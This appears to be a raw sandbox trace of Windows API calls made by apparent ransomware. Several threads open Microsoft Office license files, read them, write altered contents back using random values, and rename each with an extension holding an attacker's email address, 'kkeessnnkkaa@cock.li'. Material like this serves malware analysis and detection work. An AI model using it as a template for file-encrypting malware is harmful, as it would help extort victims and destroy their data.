	[0085.646] FindClose (in: hFindFile=0x477a828 | out: hFindFile=0x477a828) returned 1
	[0085.647] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f27548) returned 1
	[0085.647] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc890) returned 1
	[0085.647] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bde10) returned 1

Thread:
	id = 1153
	os_tid = 0x1e78

	[0085.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms")) returned 0x220
	[0085.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms", dwFileAttributes=0x20) returned 1
	[0085.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1864
	[0085.649] GetFileSizeEx (in: hFile=0x1864, lpFileSize=0x2873fa24 | out: lpFileSize=0x2873fa24*=20775) returned 1
	[0085.649] SetFilePointerEx (in: hFile=0x1864, liDistanceToMove=0x5123, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.649] ReadFile (in: hFile=0x1864, lpBuffer=0x2873f9a8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2873f9a4, lpOverlapped=0x0 | out: lpBuffer=0x2873f9a8*, lpNumberOfBytesRead=0x2873f9a4*=0x4, lpOverlapped=0x0) returned 1
	[0085.650] SetFilePointerEx (in: hFile=0x1864, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.650] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.650] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0085.650] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0085.650] NtQuerySystemTime (in: CurrentTime=0x2873f984 | out: CurrentTime=0x2873f984*=132251868123900498) returned 0x0
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0xdf4faa
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0x9c174bd4
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0xe8a3ec0a
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0x30cb7bb5
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0x29314abf
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0xa78a8106
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0xf908b4b6
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0xc8f5567
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0x29ec01ef
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0x3b811eb0
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0x11abacd4
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0x8f3bf190
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0xd5f17365
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0x1fe0db1a
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0x5ec8b055
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0x647ebab7
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0xa31111e5
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0xca79fe23
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0x3c79bc74
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0x6bb1e169
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0x9e66dc4d
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0xfa5b8914
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0xe3afd154
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0x1b4d5864
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0x90d3288c
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0xcc9604a
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0x419335eb
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0x82f5addb
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0x85a3a7ea
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0x22a617eb
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0x5d3c9b20
	[0085.651] RtlRandom (in: Seed=0x2873f990 | out: Seed=0x2873f990) returned 0x1e31e54b
	[0085.658] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819b8
	[0085.660] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0085.660] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0085.660] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0085.660] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781ad0) returned 1
	[0085.660] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.660] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb1e0
	[0085.660] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0085.660] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a58
	[0085.660] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a58) returned 1
	[0085.660] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x47db828
	[0085.660] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x500d818
	[0085.660] ReadFile (in: hFile=0x1864, lpBuffer=0x47db828, nNumberOfBytesToRead=0x5127, lpNumberOfBytesRead=0x2873f980, lpOverlapped=0x0 | out: lpBuffer=0x47db828*, lpNumberOfBytesRead=0x2873f980*=0x5127, lpOverlapped=0x0) returned 1
	[0085.663] SetFilePointerEx (in: hFile=0x1864, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.663] WriteFile (in: hFile=0x1864, lpBuffer=0x500d818*, nNumberOfBytesToWrite=0x5127, lpNumberOfBytesWritten=0x2873f97c, lpOverlapped=0x0 | out: lpBuffer=0x500d818*, lpNumberOfBytesWritten=0x2873f97c*=0x5127, lpOverlapped=0x0) returned 1
	[0087.177] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0087.177] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0087.177] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0087.177] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500d818) returned 1
	[0087.177] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47db828) returned 1
	[0087.177] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0087.177] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb1e0) returned 1
	[0087.177] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3d) returned 0x2dfb108
	[0087.177] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0087.177] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.178] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0087.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0087.178] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3d) returned 0x2dfb1e0
	[0087.178] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781530
	[0087.178] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0087.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0087.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0087.178] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x121) returned 0x2e02570
	[0087.178] SetFilePointerEx (in: hFile=0x1864, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.178] WriteFile (in: hFile=0x1864, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0x2873f9e4, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2873f9e4*=0x121, lpOverlapped=0x0) returned 1
	[0087.181] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0087.181] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb1e0) returned 1
	[0087.181] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0087.181] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0087.181] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0087.181] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0087.181] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0087.181] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0087.181] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4768c80
	[0087.181] wcscpy (in: _Dest=0x4768c80, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms"
	[0087.181] wcscat (in: _Dest=0x4768c80, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.182] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2873f99c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.182] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x477a460
	[0087.182] NtSetInformationFile (FileHandle=0x1864, IoStatusBlock=0x2873f994, FileInformation=0x477a460, Length=0xf2, FileInformationClass=0xa) returned 0x0
	[0087.183] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a460) returned 1
	[0087.183] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eaad8) returned 1
	[0087.183] NtQueryInformationFile (in: FileHandle=0x1864, IoStatusBlock=0x2873f9a8, FileInformation=0x2873f980, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2873f9a8, FileInformation=0x2873f980) returned 0x0
	[0087.183] NtSetInformationFile (FileHandle=0x1864, IoStatusBlock=0x2873f9a8, FileInformation=0x2873f980, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768c80) returned 1
	[0087.184] FlushFileBuffers (hFile=0x1864) returned 1
	[0093.110] CloseHandle (hObject=0x1864) 

Thread:
	id = 1154
	os_tid = 0x1e7c

	[0085.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 0x220
	[0085.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms", dwFileAttributes=0x20) returned 1
	[0085.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1868
	[0085.665] GetFileSizeEx (in: hFile=0x1868, lpFileSize=0x287bf9f4 | out: lpFileSize=0x287bf9f4*=11594) returned 1
	[0085.665] SetFilePointerEx (in: hFile=0x1868, liDistanceToMove=0x2d46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.665] ReadFile (in: hFile=0x1868, lpBuffer=0x287bf978, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x287bf974, lpOverlapped=0x0 | out: lpBuffer=0x287bf978*, lpNumberOfBytesRead=0x287bf974*=0x4, lpOverlapped=0x0) returned 1
	[0085.666] SetFilePointerEx (in: hFile=0x1868, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.666] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.666] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0085.666] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781af8
	[0085.666] NtQuerySystemTime (in: CurrentTime=0x287bf954 | out: CurrentTime=0x287bf954*=132251868124056825) returned 0x0
	[0085.666] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0x80eea754
	[0085.666] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0x663c332f
	[0085.666] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0x76f40b93
	[0085.666] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0x7284400d
	[0085.666] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0xfb7985b
	[0085.666] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0xca3d128a
	[0085.666] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0x5bd53b7b
	[0085.666] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0x3733520c
	[0085.666] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0xa44019b2
	[0085.666] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0x4d074c2e
	[0085.666] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0xe0a12ab1
	[0085.666] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0x7cca384a
	[0085.666] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0xf8a6fe0f
	[0085.666] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0xf9564d8e
	[0085.666] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0x7182307c
	[0085.666] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0x3a081ce
	[0085.666] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0xb501be35
	[0085.667] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0x3027d280
	[0085.667] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0x2d41b09
	[0085.667] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0xe65e2c1b
	[0085.667] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0x6dc21edb
	[0085.667] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0xdeea9b5
	[0085.667] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0x5f0b8471
	[0085.667] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0x4fab51b8
	[0085.667] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0x7d009d23
	[0085.667] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0x60634762
	[0085.667] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0xc24adf23
	[0085.667] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0x4da04ac4
	[0085.667] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0x78faeb76
	[0085.667] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0x365411ec
	[0085.667] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0x24b794b7
	[0085.667] RtlRandom (in: Seed=0x287bf960 | out: Seed=0x287bf960) returned 0x1178ff90
	[0085.674] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819e0
	[0085.675] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04108
	[0085.675] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818a0
	[0085.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04108) returned 1
	[0085.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781af8) returned 1
	[0085.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.675] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb228
	[0085.675] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04108
	[0085.675] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a80
	[0085.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a80) returned 1
	[0085.675] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x501a020
	[0085.676] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x46e9068
	[0085.679] ReadFile (in: hFile=0x1868, lpBuffer=0x501a020, nNumberOfBytesToRead=0x2d4a, lpNumberOfBytesRead=0x287bf950, lpOverlapped=0x0 | out: lpBuffer=0x501a020*, lpNumberOfBytesRead=0x287bf950*=0x2d4a, lpOverlapped=0x0) returned 1
	[0085.680] SetFilePointerEx (in: hFile=0x1868, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.680] WriteFile (in: hFile=0x1868, lpBuffer=0x46e9068*, nNumberOfBytesToWrite=0x2d4a, lpNumberOfBytesWritten=0x287bf94c, lpOverlapped=0x0 | out: lpBuffer=0x46e9068*, lpNumberOfBytesWritten=0x287bf94c*=0x2d4a, lpOverlapped=0x0) returned 1
	[0087.209] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0087.209] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0087.210] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0087.210] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46e9068) returned 1
	[0087.211] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x501a020) returned 1
	[0087.214] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04108) returned 1
	[0087.214] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb228) returned 1
	[0087.214] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x43) returned 0x4776010
	[0087.214] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb108
	[0087.214] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.214] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781788
	[0087.214] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0087.214] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x43) returned 0x4775e30
	[0087.214] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781530
	[0087.214] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0087.214] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0087.214] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.214] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0087.214] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x127) returned 0x2e02570
	[0087.214] SetFilePointerEx (in: hFile=0x1868, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.214] WriteFile (in: hFile=0x1868, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x127, lpNumberOfBytesWritten=0x287bf9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x287bf9b4*=0x127, lpOverlapped=0x0) returned 1
	[0087.216] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0087.216] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775e30) returned 1
	[0087.216] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0087.216] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776010) returned 1
	[0087.216] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0087.216] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.216] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819e0) returned 1
	[0087.216] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818a0) returned 1
	[0087.216] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47ec428
	[0087.216] wcscpy (in: _Dest=0x47ec428, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms"
	[0087.216] wcscat (in: _Dest=0x47ec428, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.216] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x287bf96c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.216] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x477a460
	[0087.216] NtSetInformationFile (FileHandle=0x1868, IoStatusBlock=0x287bf964, FileInformation=0x477a460, Length=0xf8, FileInformationClass=0xa) returned 0x0
	[0087.217] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a460) returned 1
	[0087.217] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89948) returned 1
	[0087.217] NtQueryInformationFile (in: FileHandle=0x1868, IoStatusBlock=0x287bf978, FileInformation=0x287bf950, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x287bf978, FileInformation=0x287bf950) returned 0x0
	[0087.218] NtSetInformationFile (FileHandle=0x1868, IoStatusBlock=0x287bf978, FileInformation=0x287bf950, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.218] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec428) returned 1
	[0087.219] FlushFileBuffers (hFile=0x1868) returned 1
	[0093.115] CloseHandle (hObject=0x1868) 

Thread:
	id = 1155
	os_tid = 0x1e80

	[0085.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 0x220
	[0085.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms", dwFileAttributes=0x20) returned 1
	[0085.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x186c
	[0085.681] GetFileSizeEx (in: hFile=0x186c, lpFileSize=0x2883f888 | out: lpFileSize=0x2883f888*=10639) returned 1
	[0085.681] SetFilePointerEx (in: hFile=0x186c, liDistanceToMove=0x298b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.681] ReadFile (in: hFile=0x186c, lpBuffer=0x2883f80c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2883f808, lpOverlapped=0x0 | out: lpBuffer=0x2883f80c*, lpNumberOfBytesRead=0x2883f808*=0x4, lpOverlapped=0x0) returned 1
